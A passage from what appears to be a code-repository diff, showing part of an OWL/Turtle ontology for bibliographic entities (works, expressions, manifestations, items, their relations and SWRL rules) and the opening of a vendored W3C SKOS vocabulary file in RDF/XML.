rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:summarizationOf .
|
||||
|
||||
core:summarizationOf a owl:ObjectProperty ;
|
||||
rdfs:label "is summarization of"@en ;
|
||||
rdfs:comment "It identifies the original work/expression of a summarized one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:supplement a owl:ObjectProperty ;
|
||||
rdfs:label "has supplement"@en ;
|
||||
rdfs:comment """An expression work/expression having another one as supplement.
|
||||
|
||||
The supplement relationship type involves works/expressions that are intended to be used in conjunction with another work/expression. Some of these, such as indices, concordances, teachers' guides, glosses, and instruction manuals for electronic resources will be so closely associated with the content of the related work/expression that they are useless without the other work/expression."""@en ;
|
||||
rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:supplementOf .
|
||||
|
||||
core:supplementOf a owl:ObjectProperty ;
|
||||
rdfs:label "is supplement of"@en ;
|
||||
rdfs:comment "It identifies the work/expression of a particular supplement of it."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:transformation a owl:ObjectProperty ;
|
||||
rdfs:label "has transformation"@en ;
|
||||
rdfs:comment """An work/expression transformed in another one.
|
||||
|
||||
This property describes the transformation of an original work or expression into another work or expression that is sufficiently different in degree to warrant the product of the transformation being considered as a new work or expression, rather than simply a different expression of the original work. If there exists a frbr:transformation relation between two different expressions, then they always relate to different works."""@en ;
|
||||
rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:transformationOf .
|
||||
|
||||
core:transformationOf a owl:ObjectProperty ;
|
||||
rdfs:label "is transformation of"@en ;
|
||||
rdfs:comment "It identifies the original work/expression of a trasformed one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:translation a owl:ObjectProperty ;
|
||||
rdfs:label "has translation"@en ;
|
||||
rdfs:comment """An expression translated in another one.
|
||||
|
||||
It allows to refer to a literal translation, in which the intent is to render the intellectual content of the previous expression as accurately as possible."""@en ;
|
||||
rdfs:domain core:Expression ;
|
||||
rdfs:range core:Expression ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:translationOf .
|
||||
|
||||
core:translationOf a owl:ObjectProperty ;
|
||||
rdfs:label "is translation of"@en ;
|
||||
rdfs:comment "It identifies the original expression of a translated one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:embodimentOf a owl:ObjectProperty ;
|
||||
rdfs:label "is embodiment of"@en ;
|
||||
rdfs:comment "A manifestation that embodies an expression."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:exemplarOf a owl:FunctionalProperty,
|
||||
owl:ObjectProperty ;
|
||||
rdfs:label "is exemplar of"@en ;
|
||||
rdfs:comment "An item that exemplifies a manifestation."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:ResponsibleEntity a owl:Class ;
|
||||
rdfs:label "responsible entity"@en ;
|
||||
rdfs:comment "It represents those responsible for the intellectual or artistic content, the physical production and dissemination, or the custodianship of any endeavour."@en .
|
||||
|
||||
core:part a owl:ObjectProperty,
|
||||
owl:TransitiveProperty ;
|
||||
rdfs:label "has part"@en ;
|
||||
rdfs:comment "A part of an endeavour."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:partOf ;
|
||||
skos:note "Unlike the FRBR version in RDF http://vocab.org/frbr/core.html the present version defines partonomy relationships transitive."@en .
|
||||
|
||||
core:responsibleEntity a owl:ObjectProperty ;
|
||||
rdfs:label "has responsible entity"@en ;
|
||||
rdfs:comment "Any endeavour having a particular entity that is responsible of it."@en ;
|
||||
rdfs:domain core:Endeavour ;
|
||||
rdfs:range core:ResponsibleEntity ;
|
||||
rdfs:subPropertyOf owl:topObjectProperty ;
|
||||
owl:inverseOf core:responsibleEntityOf .
|
||||
|
||||
owl:topObjectProperty a owl:ObjectProperty .
|
||||
|
||||
core:Subject a owl:Class ;
|
||||
rdfs:label "subject"@en ;
|
||||
rdfs:comment "It represents an additional set of entities that serve as the subjects of works."@en .
|
||||
|
||||
core:partOf a owl:ObjectProperty,
|
||||
owl:TransitiveProperty ;
|
||||
rdfs:label "is part of"@en ;
|
||||
rdfs:comment "An endeavour incorporating another endeavour."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
skos:note "Unlike the FRBR version in RDF http://vocab.org/frbr/core.html the present version defines partonomy relationships transitive."@en .
|
||||
|
||||
core:responsibleEntityOf a owl:ObjectProperty ;
|
||||
rdfs:label "is responsible entity of"@en ;
|
||||
rdfs:comment "An entity that is resposible for a particular endeavour."@en ;
|
||||
rdfs:subPropertyOf owl:topObjectProperty .
|
||||
|
||||
core:Item a owl:Class ;
|
||||
rdfs:label "item"@en ;
|
||||
rdfs:comment """A single exemplar of a manifestation.
|
||||
|
||||
The entity defined as item is a concrete entity. It is in many instances a single physical object (e.g., a copy of a one-volume monograph, a single audio cassette, etc.). There are instances, however, where the entity defined as item comprises more than one physical object (e.g., a monograph issued as two separately bound volumes, a recording issued on three separate compact discs, etc.). """@en ;
|
||||
owl:disjointWith core:Manifestation,
|
||||
core:Work ;
|
||||
owl:equivalentClass [ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Item ;
|
||||
owl:onProperty core:part ] [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Item ;
|
||||
owl:onProperty core:partOf ] ) ],
|
||||
[ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:onProperty core:exemplarOf ;
|
||||
owl:someValuesFrom core:Manifestation ] ) ] .
|
||||
|
||||
core:Endeavour a owl:Class ;
|
||||
rdfs:label "endeavour"@en ;
|
||||
rdfs:comment "It describes different aspects of user interests in the products of intellectual or artistic artifact."@en ;
|
||||
owl:equivalentClass [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Item core:Manifestation core:Work ) ] .
|
||||
|
||||
core:Manifestation a owl:Class ;
|
||||
rdfs:label "manifestation"@en ;
|
||||
rdfs:comment """The physical embodiment of an expression of a work.
|
||||
|
||||
The entity defined as manifestation encompasses a wide range of materials and formats. As an entity, manifestation represents all the physical objects that bear the same characteristics, in respect to both intellectual content and physical form. """@en ;
|
||||
owl:disjointWith core:Work ;
|
||||
owl:equivalentClass [ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Manifestation ;
|
||||
owl:onProperty core:part ] [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Manifestation ;
|
||||
owl:onProperty core:partOf ] ) ],
|
||||
[ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:onProperty core:embodimentOf ;
|
||||
owl:someValuesFrom core:Expression ] [ a owl:Restriction ;
|
||||
owl:onProperty core:exemplar ;
|
||||
owl:someValuesFrom core:Item ] ) ] .
|
||||
|
||||
<urn:swrl#e1> a swrl:Variable .
|
||||
|
||||
<urn:swrl#e2> a swrl:Variable .
|
||||
|
||||
<urn:swrl#w1> a swrl:Variable .
|
||||
|
||||
<urn:swrl#w2> a swrl:Variable .
|
||||
|
||||
core:Work a owl:Class ;
|
||||
rdfs:label "work"@en ;
|
||||
rdfs:comment """A distinct intellectual or artistic creation.
|
||||
|
||||
A work is an abstract entity; there is no single material object one can point to as the work. We recognize the work through individual realizations or expressions of the work, but the work itself exists only in the commonality of content between and among the various expressions of the work. When we speak of Homer's Iliad as a work, our point of reference is not a particular recitation or text of the work, but the intellectual creation that lies behind all the various expressions of the work. """@en ;
|
||||
owl:equivalentClass [ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:onProperty core:realization ;
|
||||
owl:someValuesFrom core:Expression ] ) ],
|
||||
[ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Work ;
|
||||
owl:onProperty core:part ] [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Work ;
|
||||
owl:onProperty core:partOf ] ) ] .
|
||||
|
||||
core:realizationOf a owl:FunctionalProperty,
|
||||
owl:ObjectProperty ;
|
||||
rdfs:label "is realization of"@en ;
|
||||
rdfs:comment "An expression that realizes a work."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:Expression a owl:Class ;
|
||||
rdfs:label "expression"@en ;
|
||||
rdfs:comment """The intellectual or artistic realization of a work in the form of alpha-numeric, musical, or choreographic notation, sound, image, object, movement, etc., or any combination of such forms.
|
||||
|
||||
An expression is the specific intellectual or artistic form that a work takes each time it is "realized." Expression encompasses, for example, the specific words, sentences, paragraphs, etc. that result from the realization of a work in the form of a text, or the particular sounds, phrasing, etc. resulting from the realization of a musical work."""@en ;
|
||||
owl:disjointWith core:Item,
|
||||
core:Manifestation,
|
||||
core:Work ;
|
||||
owl:equivalentClass [ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Expression ;
|
||||
owl:onProperty core:part ] [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Expression ;
|
||||
owl:onProperty core:partOf ] ) ],
|
||||
[ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:onProperty core:embodiment ;
|
||||
owl:someValuesFrom core:Manifestation ] [ a owl:Restriction ;
|
||||
owl:onProperty core:realizationOf ;
|
||||
owl:someValuesFrom core:Work ] ) ] .
|
||||
|
||||
core:relatedEndeavour a owl:ObjectProperty ;
|
||||
rdfs:label "has related endeavour"@en ;
|
||||
rdfs:domain core:Endeavour ;
|
||||
rdfs:range core:Endeavour .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:summarization ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:DifferentIndividualsAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:translation ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:SameIndividualAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a owl:AllDisjointClasses ;
|
||||
owl:members ( core:Concept core:Event core:Object core:Place ) .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:complement ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:DifferentIndividualsAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:adaption ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:DifferentIndividualsAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:supplement ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:DifferentIndividualsAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:transformation ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:DifferentIndividualsAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:arrangement ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:SameIndividualAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:imitation ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:DifferentIndividualsAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:successor ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:DifferentIndividualsAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:revision ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:SameIndividualAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:abridgement ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:SameIndividualAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,473 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!-- Vendored from https://www.w3.org/2009/08/skos-reference/skos.rdf
|
||||
Retrieved: 2026-08-04T17:52:29.732633+00:00
|
||||
Description: W3C SKOS: Simple Knowledge Organization System, Core Vocabulary (no Turtle serialization is served at a stable URL; this is the official RDF/XML file, which OntologyIngestor also supports)
|
||||
License: see the publishing organization's terms (W3C Document License) -->
|
||||
|
||||
<rdf:RDF xmlns:dct="http://purl.org/dc/terms/"
|
||||
xmlns:owl="http://www.w3.org/2002/07/owl#" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
|
||||
xmlns:rdfs="http://www.w3.org/2000/01/rdf-schema#" xmlns:skos="http://www.w3.org/2004/02/skos/core#"
|
||||
xml:base="http://www.w3.org/2004/02/skos/core">
|
||||
<!-- This schema represents a formalisation of a subset of the semantic conditions
|
||||
described in the SKOS Reference document dated 18 August 2009, accessible
|
||||
at http://www.w3.org/TR/2009/REC-skos-reference-20090818/. XML comments of the form Sn are used to
|
||||
indicate the semantic conditions that are being expressed. Comments of the form
|
||||
[Sn] refer to assertions that are, strictly speaking, redundant as they follow
|
||||
from the RDF(S) or OWL semantics.
|
||||
|
||||
A number of semantic conditions are *not* expressed formally in this schema. These are:
|
||||
|
||||
S12
|
||||
S13
|
||||
S14
|
||||
S27
|
||||
S36
|
||||
S46
|
||||
|
||||
For the conditions listed above, rdfs:comments are used to indicate the conditions.
|
||||
|
||||
-->
|
||||
<owl:Ontology rdf:about="http://www.w3.org/2004/02/skos/core">
|
||||
<dct:title xml:lang="en">SKOS Vocabulary</dct:title>
|
||||
<dct:contributor>Dave Beckett</dct:contributor>
|
||||
<dct:contributor>Nikki Rogers</dct:contributor>
|
||||
<dct:contributor>Participants in W3C's Semantic Web Deployment Working Group.</dct:contributor>
|
||||
<dct:description xml:lang="en">An RDF vocabulary for describing the basic structure and content of concept schemes such as thesauri, classification schemes, subject heading lists, taxonomies, 'folksonomies', other types of controlled vocabulary, and also concept schemes embedded in glossaries and terminologies.</dct:description>
|
||||
<dct:creator>Alistair Miles</dct:creator>
|
||||
<dct:creator>Sean Bechhofer</dct:creator>
|
||||
<rdfs:seeAlso rdf:resource="http://www.w3.org/TR/skos-reference/"/>
|
||||
</owl:Ontology>
|
||||
<rdf:Description rdf:about="#Concept">
|
||||
<rdfs:label xml:lang="en">Concept</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">An idea or notion; a unit of thought.</skos:definition>
|
||||
<!-- S1 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#Class"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#ConceptScheme">
|
||||
<rdfs:label xml:lang="en">Concept Scheme</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A set of concepts, optionally including statements about semantic relationships between those concepts.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">A concept scheme may be defined to include concepts from different sources.</skos:scopeNote>
|
||||
<skos:example xml:lang="en">Thesauri, classification schemes, subject heading lists, taxonomies, 'folksonomies', and other types of controlled vocabulary are all examples of concept schemes. Concept schemes are also embedded in glossaries and terminologies.</skos:example>
|
||||
<!-- S2 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#Class"/>
|
||||
<!-- S9 -->
|
||||
<owl:disjointWith rdf:resource="#Concept"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#Collection">
|
||||
<rdfs:label xml:lang="en">Collection</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A meaningful collection of concepts.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">Labelled collections can be used where you would like a set of concepts to be displayed under a 'node label' in the hierarchy.</skos:scopeNote>
|
||||
<!-- S28 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#Class"/>
|
||||
<!-- S37 -->
|
||||
<owl:disjointWith rdf:resource="#Concept"/>
|
||||
<!-- S37 -->
|
||||
<owl:disjointWith rdf:resource="#ConceptScheme"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#OrderedCollection">
|
||||
<rdfs:label xml:lang="en">Ordered Collection</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">An ordered collection of concepts, where both the grouping and the ordering are meaningful.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">Ordered collections can be used where you would like a set of concepts to be displayed in a specific order, and optionally under a 'node label'.</skos:scopeNote>
|
||||
<!-- S28 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#Class"/>
|
||||
<!-- S29 -->
|
||||
<rdfs:subClassOf rdf:resource="#Collection"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#inScheme">
|
||||
<rdfs:label xml:lang="en">is in scheme</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates a resource (for example a concept) to a concept scheme in which it is included.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">A concept may be a member of more than one concept scheme.</skos:scopeNote>
|
||||
<!-- S3 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S4 -->
|
||||
<rdfs:range rdf:resource="#ConceptScheme"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#hasTopConcept">
|
||||
<rdfs:label xml:lang="en">has top concept</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates, by convention, a concept scheme to a concept which is topmost in the broader/narrower concept hierarchies for that scheme, providing an entry point to these hierarchies.</skos:definition>
|
||||
